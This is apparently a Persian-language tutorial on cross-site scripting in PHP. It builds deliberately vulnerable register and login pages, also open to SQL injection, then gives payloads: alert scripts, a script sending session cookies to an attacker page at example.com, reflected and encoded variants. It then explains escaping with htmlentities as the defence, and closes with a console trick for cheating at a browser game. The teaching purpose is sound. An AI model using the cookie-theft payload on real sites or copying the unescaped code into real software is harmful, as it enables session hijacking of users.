سلام.
یکی از انواع حملات به صفحات وب , XSS هست.(Cross Site Scripting)
xss ازین قراره که نفوذگر توسط کد های Client Side مثل (javascript , vbscript) , صفحات وبی که توسط کاربران اینترنتی (clients) باز شده , مورد حمله قرار میدن و اسکریپت هاشونو تزریق میکنن.
این اسکریپت ها در صفحات وب ما (clients) اجرا میشن و باعث خرابکاری هایی در برنامه میشن و نفوذگر میتونه اطلاعات کاربرو در اختیار بگیره.
واسه اینکه ساده تر بخوام توضیح بدم , یک مثال خیلی ساده میزنم:
یک صفحه ی فرم میسازم که نام افرادی که میخوان عضو سایت بشن رو میگیره و در دیتابیس ذخیره میکنه و تمام کسانی که قبلا عضو شدنو هم در همون صفحه , پایین تر از فرم , نمایش میده:
اسم این صفحه (register.php)
<form action="" method="post" accept-charset="utf-8">
<input type="text" name="name">
<input type="submit" name="btnSubmit" value="Insert">
</form>
<hr>
<b>Members:</b><br>
<?php
mysql_connect('localhost', 'root', '');
mysql_select_db('test');
mysql_query('set names utf8');
/**************************/
// insert codes
if (isset($_POST['btnSubmit']))
{
if (isset($_POST['name']) && !empty($_POST['name']))
{
$name = $_POST['name'];
mysql_query("INSERT INTO `name` (`name`) VALUES ('{$name}')");
if (mysql_affected_rows() <= 0)
{
echo "ERROR!";
}
}
}
/**************************/
// show members
$result = mysql_query("SELECT * FROM `name`");
if (mysql_num_rows($result) > 0)
{
while ($row = mysql_fetch_assoc($result))
{
echo $row['name'] . '<br>';
}
}
حالا کاربری (نفوذگر) وارد این صفحه از سایت میشه و این صفحه ای میبینه که نام کاربر رو میگیره و اینسرت میکنه و زیر فرم هم اسامی رو نمایش میده.
و بجای اینکه اسمشو وارد کنه , این عبارتو در اینپوت مینویسه:
<script>alert(\"You have been hacked!\")</script>
و روی دکمه ی Insert کلیک میکنه و در دیتابیس این عبارت ذخیره میشه.
قاعدتا عبارت بالا هم باید در زیر member ها اضافه و چاپ بشه!!
حالا هر کاربری , هر زمانی , از هر جایی که این صفحه از سایتو باز کنه , با یک آلرت که نفوذگر تزریق کرده روبرو میشه.
بجای اینکه اون عبارت بالا عیناً در قسمت members چاپ بشه , بصورت آلرت در مرورگر کاربر(قربانی) نمایش داده شد , یعنی کدهای جاوااسکریپت در مرورگر کاربر اجرا شد.
بجای alert میشد هر کد جاوااسکریپت دیگه ای تزریق کرد.
خوب , مثال بالارو توو قالب یک مثال دیگه میارم.
در مثال اولی که زدم , فرمی داشتیم که نام تمام اعضا رو نمایش میداد.حالا کاربری(نفوذگر) وارد همان صفحه یعنی register.php میشه و داخل اینپوت , بجای نام خودش, این کد جاوااسکریپتو وارد میکنه:
<script>
window.location = \'http://example.com?hacker.php?cookie=\' + escape(document.cookie);
</script>
فرض میکنیم عبارت بالا توسط نفوذگر در دیتابیس ثبت شد.
* example.com/hacker.php صفحه ایست که نفوذگر ساخته.(آدرس سایت نفوذگر)
در ادامه ی مثال, یک صفحه ی لاگین داریم و کاربر ها لاگین میکنن.
زمانی که لاگین صورت میگیره , اطلاعات کاربر در سشن ذخیره میشه.(در این مثال)
* همونطور که میدونید , session id در کوکی و مرورگر کاربر ذخیره میشه و توسط این آیدی مقادیر از حافظه ی سرور خونده میشه.
یعنی عملا اگر کوکی مرورگر کاربر غیر فعال باشه , سشن هم کار نمیکنه , چون سشن آیدی دیگه نمیتونه در جایی ذخیره بشه.
پس نکته ی مهمی که اینجاس , اگر ما سشن آیدی یک کاربرو داشته باشیم , توسط این آیدی میتونیم اطلاعات کاربرو که روی حافظه ی سرور ذخیره شده رو بخونیم.
توو این مثال میخوایم توسط حمله ی xss , سشن کاربر قربانی رو بدست بیاریم.
یک پیج لاگین ساده درست کردم و فقط این لاگینو محدود به یوزر ادمین کردم.دلیل اینکارم اینه که نخواستم زیادی پیچیدش کنم و فقط میخوام مثالو پیاده سازی کنم.
<?php
// start session
if (!isset($_SESSION))
{
@session_start();
}
/***************************/
// check login
if (isset($_POST['btnLogin']))
{
if (isset($_POST['username'], $_POST['password']))
{
$username = $_POST['username'];
$password = $_POST['password'];
if (strtolower($username) == 'bidak' && $password == '123')
{
$_SESSION['login'] = true;
}
}
}
/***************************/
// check login session
if (!isset($_SESSION['login']))
{
?>
<form action="" method="post" accept-charset="utf-8">
username: <input type="text" name="username">
<br><br>
password: <input type="text" name="password">
<input type="submit" name="btnLogin" value="login">
</form>
<?php
}
// show members
if (isset($_SESSION['login']))
{
echo 'Welcome to <strong>Admin</strong> panel.<br>';
/**************************/
mysql_connect('localhost', 'root', '');
mysql_select_db('test');
// show members
$result = mysql_query("SELECT * FROM `name`");
if (mysql_num_rows($result) > 0)
{
while ($row = mysql_fetch_assoc($result))
{
echo $row['name'] . '<br>';
}
}
}
else
{
echo 'You are a <strong>Guest</strong> here now.';
}
وقتی login میشم سشن login ست میشه و در صفحه ی ادمین اسامی اعضای سایت نمایش داده میشه.
یکی از اسامی که در صفحه چاپ میشه , کد نفوذگر هست: (در متن بالا اشاره شد)
<script>
window.location = 'http://example.com?hacker.php?cookie=' + escape(document.cookie);
</script>
این کد اجرا میشه و کوکی کاربر لاگین شده رو به آدرس نفوذگر میچسبونه و میفرسته به صفحه ای که نفوذگر توو سایت خودش ساخته.نفوذگر کوکی های کاربرو در صفحه ای که ساخته (hacker.php) دریافت میکنه و جایی ثبت یا توسط میل و ... ارسال میکنه.
صفحه ی hacker.php بعنوان مثال:
<?php
echo "found: " . urldecode($_GET['cookie']);
// Insert into db or Send email
کدهای صفحه ی نفوذگر اجرا میشه و کوکی سشن آیدی کاربر بدست نفوذگر میرسه.
کافیه نفوذگر این کوکی رو در مرورگرش ایجاد کنه و مقدار سشن آیدی کاربر قربانی رو در مرورگر خودش ست کنه.
بعد از ست شدن سشن آیدی کاربر قربانی , دیگه صفحه ی لاگین نمیاد و مستقیم وارد پیج ادمین میشه.
* این کد میتونه توو پروفایل یک کاربر تزریق بشه یا در صفحه ی پیام های خصوصی یا کامنت های یک پست یا بصورت یک لینک داده بشه به کاربر از طریق ایمیل و ... و کاربر لینک مورد نظر نفوذگرو باز کنه و ...
مثالی واسه لینک دادن به کاربر و تزریق از طریق address bar:
سایتی که در قسمت search box باگ xss داره.قسمتی از کدهاش به این شکله که عبارت جستجو شده توسط کاربرو در url قرار میده و با متغیر GET مورد دستیابی قرار میده و بدون هیچ فیلتری در صفحه عبارت جستجو شده رو چاپ میکنه:
echo "You searched for: ".$_GET['search'];
و نفوذگر چیزی شبیه به آدرس سایت مد نظر برای کاربر قربانی به شکل های مختلفی ارسال میکنه تا کاربر قربانی روی این لینک کلیک کنه.
http://exampleSite.com/result.html?search=<img src=/ onerror="alert(document.cookie)">
* از صفت های تگ های html میشه واسه تزریق کد استفاده کرد.
نسخه ی جدید مرورگرها مثل chrome , تزریق اسکریپت از address bar رو جلوگیری میکنن ولی بعضی روش ها هنوز روی firefox از url میشه تزریق کرد.(بخاطر وجود antiXss مرورگرهای ورژن جدید)
در ادامه ی همین قسمت , یک نوع دیگه رو نشون بدم:
برنامه نویس تگ form استفاده کرده ومقدار صفت action رو از آدرس بار کاربر گرفته. ازین طریق:
<form method="post" action="<?php echo $_SERVER["PHP_SELF"];?>">
دستور :
$_SERVER["PHP_SELF"];
* از url کاربر نام فایل (صفحه ی جاری) نسبت به ریشه رو برمیگردونه.
مثلا این آدرس صفحه ی جاری: http://example.com/foo/bar.php
چیزی که در action تگ فرم چاپ میشه:
/foo/bar.php
حالا نفوذگر , کد زیرو به آدرس مقابل تزریق میکنه: http://www.example.com/test_form.php
http://www.example.com/test_form.php/%22%3E%3Cscript%3Ealert('hacked')%3C/script%3E
و در نتیجه تگ فرم به این شکل در میاد:
<form method="post" action="test_form.php/"><script>alert('hacked')</script>
و کد جاوااسکریپت در مرورگر کاربر اجرا میشه.
خوب ...
نفوذگر واسه inject کردن کدهاش روش های مختلفی استفاده میکنه.
* بعنوان مثال , کد بصورت base64 کدگذار شده.یک نمونه با تگ meta:
<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">
اگر عبارت کدگذاری شده رو decode کنیم , این عبارتو میبینیم:
<script>alert('test3')</script>
و روش های مختلف دیگه ای مثل url encoding و hex encoding و ...
که کاربر از روی ظاهر نوشته نمیتونه بفهمه که کدی تزریق شده.
توو این پست صفحات register و login رو بعنوان مثال پیاده سازی کردم, بخاطر اون دسته از افرادی که هیچ آشنایی با این باگ ندارن و اگر خواستن تست کنن همین کدهارو اجرا کنن.
قصد , آموزش xss نبود و یک معرفی اجمالی انجام دادم.
شما روش های مختلف تزریقو میتونید از این لینک ببینید.
در ادامه روش مقابله با xss رو میگم.
روش مقابله:
همونطور که مثال هارو دیدید , هر جایی که مقادیر(گرفته شده از کاربران) در صفحه ی مرورگر چاپ میشه , امکان xss هست.
پس همیشه تمام اطلاعاتی که از کاربرها میگیرید , مانند (کامنت ها , چت ها , پیام ها , پست ها , مشخصات , ... و ... و ...) در زمان چاپ , باید با تابع htmlentities و یا htmlspecialchars (یکی از توابع) , اطلاعات escape بشن. (توضیحات این دو تابع در این لینک)
بعنوان مثال قسمت نمایش اعضا که در قسمت اول کدشو نوشتم , به این حالت در میاد:
// show members
$result = mysql_query("SELECT * FROM `name`");
if (mysql_num_rows($result) > 0)
{
while ($row = mysql_fetch_assoc($result))
{
// use HtmlEntities to prevent xss
echo htmlentities($row['name'], ENT_QUOTES, 'UTF-8') . '<br>';
}
}
خوب , حالا چیزی که در صفحه ی مرورگر چاپ میشه: (طبق مثال اول در ابتدای پست)
<script>alert("You have been hacked!")</script>
ali
hasan
mohsen
کد تزریق شده عمل نمیکنه و عینا چاپ میشه.
در مثالی دیگه (در متن بالا) , اشتباه برنامه نویس در تگ فرم باعث بروز این باگ شده بود , به این شکل در میاد:
<form method="post" action="<?php echo htmlentities($_SERVER["PHP_SELF"], ENT_QUOTES, 'UTF-8')?>">
یک نکته مهم:
حتما دادهایی که از سمت کلاینت دریافت میکنید , در سمت سرور چک کنید. مخصوصا داده هایی که از دستوراتی مثل توابعی که در جاوااسکریپت نوشته اید و ...
کاربری که از سایت بازدید میکنه , با استفاده Firebug مرورگر میتونه مقادیردرج شده توسط برنامه نویسو تغییر بده.
بعنوان یک مثال ریز این بازی رو ببینید:
با توجه به کدهای بازی , تغییرات براحتی از طریق سربرگ Console میتونید انجام بدید. مقادیر متغیر هارو عوض کنید یا توابع رو تغییر بدید ویا توابعی رو فرمان اجرا بدید و ...
مثلا در Console تابع clickAllCells() رو صدا بزنید و یا برای برنامه حلقه ای بنویسید تا خونه هایی که بمب نیستن کلیک بشن.
یک مثال ساده:
for(i=0; i<30; i++)
{
for(j=0; j<16; j++)
{
if(getNeighbours(i, j) != 99)
{
clickCell(false,document.getElementById("cell" + i + '_' + j),1);
}
}
}
فک کنم جریانو گرفتید.